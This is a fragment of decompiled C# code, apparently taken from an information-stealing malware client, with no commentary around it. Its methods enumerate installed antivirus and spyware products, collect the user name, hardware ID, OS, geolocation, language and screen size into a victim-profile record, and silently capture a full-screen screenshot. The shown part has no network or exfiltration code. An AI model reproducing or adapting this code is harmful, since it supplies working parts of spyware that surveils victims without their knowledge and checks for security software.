// Token: 0x0600099A RID: 2458 RVA: 0x0001FF18 File Offset: 0x0001E118 public static List <string> ParseDefenders() { List <string> list = new List <string>(); try { list.AddRange(ClientInfoHelper.ParseAntiViruses().IsNull(new List <string>())); foreach (string item in ClientInfoHelper.ParseSpyWares().IsNull(new List <string>())) { if (!list.Contains(item)) { list.Add(item); } } } catch { } return(list); }
// Token: 0x0600099E RID: 2462 RVA: 0x000200FC File Offset: 0x0001E2FC public static RemoteClientInformation CreateRandom(string SourceID) { RemoteClientInformation result; try { GeoLocationHelper.Initialize(); Size screenSize = ClientInfoHelper.GetScreenSize(); string text = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString(); if (!text.StartsWith("-")) { text = "+" + text; } result = new RemoteClientInformation { ID = 0, LogTime = DateTime.Now, SourceID = SourceID, UserName = Environment.UserName, ClientIP = ClientInfoHelper.RandomIp(), Country = GeoLocationHelper.GeoInfo.CountryCode, OperationSystem = ClientInfoHelper.ParseOS(), HardwareID = ClientInfoHelper.ParseHWID(), Hardwares = ClientInfoHelper.ParseHardwares(), Antiviruses = ClientInfoHelper.ParseDefenders(), Languages = ClientInfoHelper.AvailableLanguages(), CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName, MonitorSize = string.Format("{0}x{1}", screenSize.Width, screenSize.Height), TimeZone = "UTC" + text, City = GeoLocationHelper.GeoInfo.City }; } catch { result = null; } return(result); }
// Token: 0x06000997 RID: 2455 RVA: 0x0001FE10 File Offset: 0x0001E010 private static Bitmap GetScreenshot() { Bitmap result; try { Size screenSize = ClientInfoHelper.GetScreenSize(); Bitmap bitmap = new Bitmap(screenSize.Width, screenSize.Height); using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.InterpolationMode = InterpolationMode.Bicubic; graphics.PixelOffsetMode = PixelOffsetMode.HighSpeed; graphics.SmoothingMode = SmoothingMode.HighSpeed; graphics.CopyFromScreen(new Point(0, 0), new Point(0, 0), screenSize); } result = bitmap; } catch { result = null; } return(result); }
// Token: 0x06000996 RID: 2454 RVA: 0x0000746A File Offset: 0x0000566A public static byte[] CaptureScreen() { return(ClientInfoHelper.ImageToByte(ClientInfoHelper.GetScreenshot())); }